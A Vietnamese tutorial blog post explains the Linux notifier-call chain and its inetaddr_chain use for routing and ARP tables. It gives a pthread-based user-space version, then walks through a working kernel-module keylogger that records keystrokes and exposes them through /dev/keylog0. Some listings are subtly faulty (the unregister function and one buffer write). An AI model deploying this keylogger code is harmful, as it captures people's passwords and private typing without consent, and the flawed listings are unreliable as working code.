Skip to main content

Về phương pháp notificall chain và các ứng dụng


Lời mở đầu

Nhân hệ điều hành Linux được cấu thành từ rất nhiều các sub-system, mỗi sub-system này thực hiện các chức năng riêng biệt nhau, tuy nhiên một số nhóm sub-system có thể mong muốn nhận tập các sự kiện giống nhau. Nhân Linux thiết kế một phương pháp truyền thông để có thể chia sẻ một sự kiện tới nhiều các sub-system vừa tạo ra sự linh hoạt trong code vừa có khả năng mở rộng dễ dàng trong tương lai. Phương pháp đó gọi là notifier-call chain. Việc hiểu rõ hoạt động của phương pháp này là một nhu cầu giúp cho các kỹ sư thiết kế kiến trúc phần mềm có thể có một chất liệu phục vụ cho việc xây dựng hệ thống phần mềm của chính mình.

Tổng quan về notifier-call chain

Notifier-call chain là một danh sách liên kết đơn của các hàm sẽ được thực hiện tuần tự khi một sự kiện nhất định xảy ra. Mỗi hàm có chức năng giúp cho một sub-system nhất định biết về sự kiện và có hành động tương ứng đối với sự kiện đó. Như vậy notifi-call chain bao gồm hai thành phần, bên chủ động thông báo sự kiện và các bên thụ động nhận sự kiện. Mô hình này gọi là Publisher-Subscriber


 Trong đó bên nhận sự kiện đăng ký với hệ thống sự kiện mình muốn nhận và đưa ra hàm callback để mỗi khi sự kiện xảy ra bên thông báo sự kiện sẽ gọi hàm đó
Việc sử dụng notifi-call chain giúp cho mã nguồn trở lên dễ dàng viết và bảo trì. Nếu như không có notifi-call chain, mỗi khi có một sub-system được đưa vào nhân Linux, kỹ sư phần mềm sẽ phải đi tìm nơi xử lý sự kiện mà sub-system mong muốn nhận và thêm mã nguồn vào đó như sau
process_X_event
{
    if(sub_systemA_enable)
        do_something

    if(sub_systemB_enable)
        do_something

    if(sub_systemC_enable)
        do_something
}

Như thế trong một hệ thống lớn vừa có nhiều sự kiện vừa có nhiều sub-system, điều đó rất bất tiện. Tuy nhiên nếu thiết kế hệ thống theo notifi-call chain, người lập trình cần giữ hai tư duy lập trình sau:
  • Sự kiện nào mà sub-system mình thiết kế/bảo trì mong muốn nhận?
  • Sub-system mà mình thiết kế/bảo trì có thể tạo ra sự kiện nào mà các sub-system khác có thể ưa thích không?                                    
Do đó notifi-call chain cho phép các sub-system chia sẻ các sự kiện với nhau mà một sub-system sẽ không cần biết tới việc các sub-system ưa thích sự kiện nào và tại sao nó lại ưa thích sự kiện đó.

Một ví dụ về notifi-call chain trong TCP/IP stack của Linux

Một trong các notifi-call chain phổ biến nhất trong hệ điều hành Linux là inetaddr_chain. Chain này được duy trì cho sự kiện một địa chỉ IP được cấu hình tới hoặc bị xóa khỏi một cổng mạng. Có rất nhiều sub-system mong muốn nhận sự kiện này. Trong số đó có hai bảng phục vụ cho việc truyền/nhận gói tin trong TCP/IP stack là bảng định tuyến (routing) và bảng ARP.
Bảng định tuyến (Bảng FIB – Forwarding Information Base) là bảng lưu thông tin mạng đích của một máy tính, tất cả các bản tin trước khi được máy tính gửi ra mạng ngoài đều được tìm kiếm địa chỉ đích tại bảng này. Cấu trúc bảng như sau:
Bảng bao gồm các trường địa chỉ IP mạng đích (Destination), địa chỉ IP của Gateway, địa chỉ Subnet mask, cờ (Flags) mô tả đặc tính của tuyến, cờ có các giá trị U-nghĩa là Up-tuyến hợp lệ, G-gateway-tuyến tới Gateway, H-host-tuyến tới địa chỉ là một máy tính khác (host) trong mạng thay vì một mạng đích, metric mô tả khoảng cách tới mạng đích, có giá trị càng nhỏ càng tốt, máy tính đi tới một mạng đích nếu có nhiều tuyến sẽ lựa chọn tuyến có metric nhỏ nhất, tuyến có metric bằng 0 mô tả gateway của máy còn metric bằng 1 mô tả mạng LAN của máy, hai trường Ref và Use không có ý nghĩa quan trọng, trường iface là cổng ra của tuyến   
Chúng ta thấy trong bảng có một tuyến tới mạng 192.168.1.0, đây là địa chỉ mạng LAN của máy, sở dĩ bảng có tuyến này vì máy tính có một địa chỉ IP 192.168.1.7 thuộc dải mạng này

Như vậy bảng định tuyến đã đăng ký sự kiện trong inetaddr_chain, mỗi khi cổng mạng của máy tính được cấu hình một địa chỉ IP, bảng định tuyến nhận được sự kiện đó sẽ tự động chèn một tuyến vào trong bảng mô tả mạng đích (mạng LAN) của địa chỉ IP đó, khi địa chỉ này thay đổi, bảng định tuyến cũng sẽ biết sự kiện thay đổi đó và cập nhật giá trị mới tương ứng, nếu địa chỉ IP bị xóa
Thì tuyến đó cũng bị xóa tương ứng trong bảng
Tất cả các sự kiện trong inetaddr_chain bảng đều được cập nhật thông qua notifi-call chain
Cũng tương tự như thế đối với bảng ARP, bảng lưu thông tin ánh xạ giữa địa chỉ IP và địa chỉ MAC trong một mạng LAN

Xây dựng một notifi-call chain sử dụng ở user-space application

Về mặt cấu trúc dữ liệu, notifi-call chain thực chất một tập hợp các hàm được tổ chức trong một danh sách liên kết đơn, mỗi khi một sự kiện xảy ra, toàn bộ danh sách được duyệt và các hàm đăng ký tới danh sách được gọi tương ứng. Cấu trúc từng phần tử trong danh sách liên kết được đại diện vởi một notifier_block như sau
typedef int (*notifier_fn_t)(struct notifier_block *nb, unsigned long action, void *data);
struct notifier_block
{
    notifier_fn_t notifier_call;
    struct notifier_block *next;
    int priority;
};
Trường notifier_call lưu trữ các con trỏ hàm
Trường next trỏ tới notifier_block tiếp theo
Trường priority sử dụng để sắp xếp các notifier_block theo thứ tự nhất định, theo đó, nếu một sub-system muốn hàm call-back của nó được gọi trước tiên khi sự kiện xảy ra, nó sẽ đăng ký với mức priority cao nhất
Mỗi sub-system muốn đăng ký/hủy đăng ký nhận một sự kiện có thể sử dụng sử dụng các hàm notifier_chain_register/ notifier_chain_unregister tương ứng
static int notifier_chain_register(struct notifier_block **list, struct notifier_block *n)
{
    while ((*list) != NULL)
    {
        if (n->priority > (*list)->priority)
            break;
        list = &((*list)->next);
    }

    n->next = *list;
    *list = n;
    return 0;
}

static int notifier_chain_unregister(struct notifier_block **list, struct notifier_block *n)
{
    while ((*list) != NULL)
    {
        if ((*list) == n)
        {
            n->next = *list;
            return 0;
        }
                                               list = &((*list)->next);
    }
    return -1;
}
Còn mỗi khi một sub-system có một sự kiện cần loan báo tới các sub-system khác, nó sẽ gọi notifier_call_chain để loan báo đi
int notifier_call_chain(struct notifier_block **list, unsigned long val, void *v)
{
    int ret = NOTIFY_DONE;
    struct notifier_block *nb = *list;
    while(nb)
    {
        ret = (int)(nb->notifier_call(nb, val, v));
        if(ret & NOTIFY_STOP_MASK)
        {
            return ret;
        } 
        nb = nb->next;
    } 
    return ret;
}
Có một số tùy chọn để một hàm call-back quyết định là sự kiện sẽ được xử lý ở các call_back tiếp theo như thế nào
#define NOTIFY_DONE          0x0000            /* Don't care */
#define NOTIFY_OK               0x0001            /* Suits me */
#define NOTIFY_STOP_MASK           0x8000            /* Don't call further */
#define NOTIFY_BAD            (NOTIFY_STOP_MASK|0x0002)
                                                                                                /* Bad/Veto action */
/*
 * Clean way to return from the notifier and stop further calls.
 */
#define NOTIFY_STOP           (NOTIFY_OK|NOTIFY_STOP_MASK)
Nếu call_back xử lý sự kiện mà thấy rằng kết quả là bình thường, hợp lệ nó có thể trả về NOTIFY_OK hoặc NOTIFY_DONE để hệ thống tiếp tục luân chuyển sự kiện tới các sub-system phía sau, nếu không nó sẽ trả về NOTIFY_BAD hoặc NOTIFY_STOP để báo có một lỗi trong quá trình xử lý sự kiện hoặc đơn giản là sự kiện tới đây không cần thiết phải luân chuyển tiếp nữa. 

Hoạt động trong môi trường multi-thread/multicore

Các hàm của framework trên có thể hoạt động tốt trong môi trường đơn thread/đơn CPU core, nhưng nếu hoạt động trong môi trường multi-thread/multi-core, nó có thể dẫn tới nhiều lỗi logic cũng như lỗi gây crash phần mềm khi một CPU đang đăng ký/hủy đăng ký sự kiện thì một CPU khác loan báo sự kiện, do đó framework cần được viết lại thêm vào các phần đồng bộ giúp cho các cấu phần của framework có thể hoạt động song song trong môi trường multi-core, phần đồng bộ sử dụng cơ chế spin-lock của thư viện pthread
int atomic_notifier_chain_register(struct atomic_notifier_head *nh, struct notifier_block *n)
{
    int ret;

    pthread_spin_lock(&nh->lock);  
    ret = notifier_chain_register(&nh->head, n);
    pthread_spin_unlock(&nh->lock);  
    return ret;
}

int atomic_notifier_chain_unregister(struct atomic_notifier_head *nh, struct notifier_block *n)
{
    int ret;
        
    pthread_spin_lock(&nh->lock);  
    ret = notifier_chain_unregister(&nh->head, n);
    pthread_spin_unlock(&nh->lock);  
    return ret;
}

int atomic_notifier_call_chain(struct atomic_notifier_head *nh,
                                                                                    unsigned long val, void *v)
{
    int ret;   
                                              
    pthread_spin_lock(&nh->lock);  
    ret = notifier_call_chain(&nh->head, val, v);
    pthread_spin_unlock(&nh->lock);  
    return ret;
}

void atomic_notifier_init(struct atomic_notifier_head *notifier_head)
{
    pthread_spin_init(&(notifier_head->lock), PTHREAD_PROCESS_PRIVATE);
    notifier_head->head = NULL;
    return;
}
Hàm atomic cần được gọi trước tất cả các hàm khác để khởi tạo spin-lock và lưu ý rằng một notifier_block không nên được đăng ký vào một notifier_chain nhiều hơn một lần nhằm tránh các lỗi vòng lặp vô tận do con trỏ next của notifier_block trỏ tới chính nó.

Viết một khối keylogger sử dụng notificall-chain

Chúng ta có thể viết một khối keylogger, khối sẽ log lại tất cả các ký tự được gõ từ bàn phím của chúng ta và loan báo nó tới các sub-system đăng ký trong user-space.

Loadable module ở nhân hệ điều hành

Keyboard device driver là một sub-system device driver sử dụng để giải mã các ký tự từ bàn phím. Keyboard device driver nhận được các ngắt từ bàn phím, hàm phục vụ ngắt của sub-system sẽ tiến hành đọc các scan code (mã mã hóa tín hiệu điện) và chuyển đổi thành các keycode, các keycode là các số hiệu được gán cho mỗi phím được bấm. Bảng mã keycode các bạn có thể tham khảo tại Bảng mã Keycode
Các keycode sau đó tiếp tục được chuyển đổi thành các key symbol, bao gồm các mã ASCII mà chúng ta có thể đọc. Sự khác nhau giữa key code và key symbol như khi chúng ta gõ ký tự A. Để gõ ký tự A thì chúng ta có thể gõ SHIFT + a hoặc CAPSLOCK + a. Keycode sẽ ghi nhận hai mã keycode được ấn là 16(SHIFT) và 65(a) hoặc 20(CAPSLOCK) và 65(a), trong khi Key symbol sẽ ghi nhận ký tự A đã được ấn. Việc chuyển đổi này đã được thực hiện trong device driver và device driver sẽ thông báo các sự kiện này tới các sub-system khác thông qua notificall_chain
Như vậy chúng ta sẽ xây dựng khối key-logger như một sub-system của hệ điều hành, key logger sẽ nhận loan báo sự kiện bởi driver bàn phím (keyboard device-driver) và loan báo nó tới các sub-system phía userspace.
Chúng ta bắt đầu sub-system bằng cách khởi tạo một loadable module để đăng ký một keylogger character driver và đăng ký nhận các sự kiện từ keyboard driver
#define DEVICE_NAME "keylog0" 
static int major;

static int __init keylog_init(void) 
{
    major = register_chrdev(0, DEVICE_NAME, &fops);
    if (major < 0) 
    {
        printk(KERN_ALERT "keylog failed to register a major number\n"); 
        return major;
    }
    printk(KERN_INFO "Registered keylogger with major number %d", major);
                                   
    init_waitqueue_head(&wait_queue);
    register_keyboard_notifier(&nb);
    memset(keys_buffer, 0, BUFFER_LEN);
    return 0;
}
Keylogger driver được đăng ký thành công sẽ có tên là keylog0 và tạo ra một file đại diện trong thư mục /dev/. Lớp ứng dụng sau khi mở file sẽ tiến hành đọc từ file để biết được tất cả các ký tự người dùng đã ấn vào từ bàn phím
Phương thức của keylogger character driver do đó chỉ bao gồm phương thức đọc, các phương thức khác được sử dụng ở lớp ứng dụng như open hay close đã được nhân cung cấp một cách mặc định mà chúng ta không cần sửa chữa hay thay đổi gì
static struct file_operations fops = 
{
   .read = dev_read
};
static ssize_t dev_read(struct file *fp, char __user *buf, size_t length, loff_t *offset) 
{      
    int len;
    int ret = 0;

    wait_event_interruptible(wait_queue, (buf_pos > 0));
    len = strlen(keys_buffer);
    ret = copy_to_user(buf, keys_buffer, len);
    if (ret) 
    {
        printk(KERN_INFO "Couldn't copy all data to user space\n");
        return ret;
    }
    buf_pos = 0;
    memset(keys_buffer, 0, BUFFER_LEN); 
    keys_bf_ptr = keys_buffer; 
    return len;
}
Khi khởi tạo cho character driver chúng ta cũng khởi tạo cho một wait_queue, wait_queue này giúp cho tiến trình ở phía lớp ứng dụng nếu đã mở file và tiến hành đọc mà vẫn chưa có dữ liệu thì tiến trình sẽ rơi vào trạng thái ngủ chờ đợi, CPU đang thực thi tiến trình sẽ được lập lịch cho tiến trình khác, việc này nhằm tối ưu thời gian xử lý.
Một buffer cũng được khai báo để lưu lại tất cả ký tự mà người dùng đã ấn tới bàn phím, buffer có độ dài mặc định 1024 bytes
#define BUFFER_LEN 1024
static char keys_buffer[BUFFER_LEN]; 
static char *keys_bf_ptr = keys_buffer;
Cuối cùng hàm khởi tạo mới đăng ký nhận sự kiện từ keyboard driver thông qua notificall_chain. Theo keyboard driver, mỗi khi người dùng ấn phím (hoặc nhả phím), một tập các sự kiện sau sẽ được loan báo
#define KBD_KEYCODE        0x0001 /* Keyboard keycode, called before any other */
#define KBD_UNBOUND_KEYCODE 0x0002 /* Keyboard keycode which is not bound to any other */
#define KBD_UNICODE         0x0003 /* Keyboard unicode */
#define KBD_KEYSYM          0x0004 /* Keyboard keysym */
#define KBD_POST_KEYSYM            0x0005 /* Called after keyboard keysym interpretation */
Như đã giải thích ở phía trên, keylogger sẽ chỉ cần quan tâm tới sự kiện KBD_KEYSYM (Keyboard key symbol) và key được ấn(key down)(khi người dùng nhả phím một sự kiện cũng được keyboard driver loan báo - key up). Chúng ta cũng sẽ chỉ cần quan tâm tới các ký tự ASCII mà mắt người có thể đọc được
static int keys_pressed(struct notifier_block *nb, unsigned long action, void *data) 
{
    struct keyboard_notifier_param *param = data;
    if (action == KBD_KEYSYM && param->down) 
    {
        char c = param->value;                          
        if (c == 0x01) 
        {
            *(keys_bf_ptr++) = 0x0a;
            buf_pos++;                
            wake_up_interruptible(&wait_queue);
        } 
        else if (c >= 0x20 && c < 0x7f) 
        {                                        
            (keys_bf_ptr++) = c;
            buf_pos++;
        }                                              
        if (buf_pos >= BUFFER_LEN) 
        {                                                
        buf_pos = 0;                                 
        memset(keys_buffer, 0, BUFFER_LEN);                  
        keys_bf_ptr = keys_buffer;
        }
    }
    return NOTIFY_OK;
}
Như vậy hàm keys_pressed sẽ được gọi mỗi khi người dùng ấn phím, nó sẽ lưu lại tất cả các phím vào keys_buffer và thông báo tới tiến trình đang ngủ để chờ dữ liệu. Chú ý rằng không phải cứ nhận được một ký tự thì keylogger driver sẽ thông báo ngay cho tiến trình mà chỉ khi nhận được ký tự xuống dòng(newline) thì sự kiện đó mới được thông báo. Việc này cũng nhằm tối ưu hiệu năng xử lý của CPU.

Tiến trình ở userspace

Tiến trình sẽ mở file /dev/keylog0 và nhận đăng ký từ các sub-system trong userspace, tiến trình cũng sẽ định nghĩa ra một sự kiện mỗi khi có một buffer được gửi lên từ nhân hệ điều hành, nó cũng sẽ loan báo tới tất cả các sub-system đã đăng ký .Mã nguồn ở userspace như sau
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include "user_notifier.h"

#define LOG printf
#define KEY_DRIVER "/dev/keylog0"
#define BUFLEN 100

#define KEYBUF_AVAIL 1

static struct atomic_notifier_head keylogger_chain;

int keylogger_register_notifier(struct notifier_block *nb)
{
    return atomic_notifier_chain_register(&keylogger_chain, nb);
}

int keylogger_unregister_notifier(struct notifier_block *nb)
{
                                               return atomic_notifier_chain_unregister(&keylogger_chain, nb);
}

notifier_fn_t tkeylogger_notify(struct notifier_block *nb, unsigned long state, void *_notify)
{
    LOG("%s state %ld buf %s\n", __func__, state, (char *)_notify);   
}

notifier_fn_t tkeylogger_notify2(struct notifier_block *nb, unsigned long state, void *_notify)
{
    LOG("%s state %ld buf %s\n", __func__, state, (char *)_notify);   
}

static struct notifier_block tkeylogger_notifier =
{
                                               .notifier_call = tkeylogger_notify,
};

static struct notifier_block tkeylogger_notifier2 =
{
                                               .notifier_call = tkeylogger_notify2,
};

void main(void)
{
    int kfd = -1;
    int numread;
    char buf[BUFLEN] = {0};

    kfd = open(KEY_DRIVER, O_RDWR, 0);
    if(kfd < 0)
    {
        LOG("open error errno %d \n", errno);
        return;
    }

    atomic_notifier_init(&keylogger_chain);
    keylogger_register_notifier(&tkeylogger_notifier);
    keylogger_register_notifier(&tkeylogger_notifier2);

    while(1)
    {
        numread = read(kfd, buf, BUFLEN); 
        if(numread < 0)
        {
            LOG("read error \n");
            return;
        }
        LOG("numread %d readbuf %s\n", numread, buf);
        atomic_notifier_call_chain(&keylogger_chain, KEYBUF_AVAIL, buf);
        memset(buf, 0x00, BUFLEN);
    }
    return;
}

Toàn bộ mã nguồn của notificall chain các bạn có thê download tại GitHub của Nhã Uyên Education
https://github.com/nhauyeneducation/linux_systemtraining

Tin học Nhã Uyên là một tổ chức thành lập với mục tiêu đào tạo kỹ sư lập trình hệ thống, kỹ sư lập trình nhúng và kỹ sư lập trình mạng trên nền tảng hệ điều hành Linux/Unix tại Việt Nam. 
Mời các bạn vào Facebook của Tin học Nhã Uyên tại

https://www.facebook.com/tinhocnhauyen/ để theo dõi các bài viết kỹ thuật chất lượng tiếp theo của Tin học Nhã Uyên. Xin trân trọng cảm ơn các bạn

Comments

Popular posts from this blog

Hiểu về tổ chức bộ nhớ của Linux thông qua ví dụ về Memory Mapping

Cơ sở lý thuyết về bộ nhớ ảo, bộ nhớ logic và bộ nhớ vật lý Hoạt động ánh xạ địa chỉ ảo tới địa chỉ vật lý Linux cung cấp cho các tiến trình hệ thống quản lý bộ nhớ ảo, nơi mỗi địa chỉ nhớ ảo có khả năng được ánh xạ tới một địa chỉ vật lý. Với độ dài 32 bit, toàn bộ không gian địa chỉ mỗi tiến trình có khả năng truy nhập là 2^32 ~ 4 Gigabit. Linux chia không gian địa chỉ này thành các trang nhớ (page) có độ dài bằng nhau (4096 bytes), mỗi khi tiến trình yêu cầu một vùng nhớ, cả trang nhớ tương ứng (chứa vùng nhớ) sẽ được cấp cho tiến trình. Bộ nhớ vật lý hệ thống chính là lượng RAM có trong hệ thống, Linux cũng chia bộ nhớ vật lý này thành các trang bằng nhau, gọi là các page frame, mỗi page frame được đánh số thứ tự gọi là các page frame number. Các địa chỉ ảo có thể sẽ được ánh xạ thành địa chỉ vật lý dựa vào các phần cứng gọi là các MMU (Memory Management Unit) theo một phương pháp gọi là lazy allocation . Theo phương pháp này, mỗi khi một vùng nhớ ảo được cấp phát cho tiến ...

Về một phương pháp quản lý bộ nhớ động trong Linux

Các kiến thức cơ bản về hệ thống Thư viện glibc trong Linux cung cấp cho chúng ta bốn hàm cơ bản để quản lý bộ nhớ động, ba trong số đó là các hàm cấp phát bộ nhớ, hàm còn lại là giải phóng bộ nhớ Hàm void *malloc(size_t size) nhận đầu vào số byte cần cấp phát và trả lại vùng nhớ được cấp phát. Nếu không tìm thấy vùng nhớ thỏa mãn độ dài cần cấp phát malloc sẽ trả về NULL Hàm void *calloc(size_t nmemb, size_t size ) sẽ cấp phát bộ nhớ cho một mảng nmemb*size và trả về con trỏ tới vùng nhớ được cấp phát, nhớ rằng mặc dù cấp phát bộ nhớ cho một mảng các phần tử nhưng nó vẫn là một vùng nhớ liên tục trong heap, vùng nhớ này được ghi giá trị 0 trên toàn vùng trước khi trả về Hàm void *realloc(void *ptr, size_t size) sẽ thay đổi số byte được cấp phát ở ptr và trả lại một vùng nhớ được cấp phát có độ dài size và có nội dung như là vùng nhớ ở ptr. Vùng nhớ được trả lại bởi realloc có thể chính là ptr trong trường hợp các vùng xung quanh ptr có thể đủ khả năng cung cấp một vùng dài h...